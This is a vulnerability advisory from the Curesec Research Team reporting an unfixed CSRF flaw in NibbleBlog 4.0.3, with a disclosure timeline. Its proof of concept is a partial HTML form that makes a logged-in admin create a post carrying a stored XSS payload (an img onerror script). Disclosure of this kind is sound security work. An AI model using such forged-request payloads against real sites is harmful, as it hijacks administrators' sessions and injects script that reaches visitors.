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NibbleBlog 4.0.3 - CSRF - Not fixed

2015-09-03 17:30
NibbleBlog 4.0.3: CSRF
Security Advisory – Curesec Research Team

1. Introduction

Affected Product: NibbleBlog 4.0.3
Fixed in: not fixed
Fixed Version Link: n/a
Vendor Contact: Website: http://www.nibbleblog.com/
Vulnerability Type: CSRF
Remote Exploitable: Yes
Reported to vendor: 07/21/2015
Disclosed to public: 09/01/2015
Release mode: Full Disclosure
CVE: n/a
Credits Tim Coen of Curesec GmbH

2. Vulnerability Description

NibbleBlog 4.0.3 does not have CSRF protection. This means that an
attacker can perform actions for an admin if the admin is logged in and
visits an attacker controlled website. In the case of NibbleBlog, this
can for example lead to persistent XSS via the creation of a new post,
which in turn allows for phishing attacks or the injection of JavaScript

3. Proof of Concept

Create new Post (for Spam and XSS):

<form id="myForm"
<input name="title" value="Interesting!">
<input name="content" value="visit <a
href='http://example.com&apos;>this</a>.<img src='no' onerror='alert(1)'>">
<input name="allow_comments" value="1">
<input name="id_cat" value="0">

4. Solution

This issue was not fixed by the vendor.

5. Report Timeline

07/21/2015 Informed Vendor about Issue
07/22/2015 Vendor Replied
08/18/2015 Reminded Vendor of release date (no reply)
09/01/2015 Disclosed to public

6. Blog Reference

Sent through the Full Disclosure mailing list
Web Archives & RSS: http://seclists.org/fulldisclosure/

Source: 4/peS/5102/erusolcsidlluf/gro.stsilces

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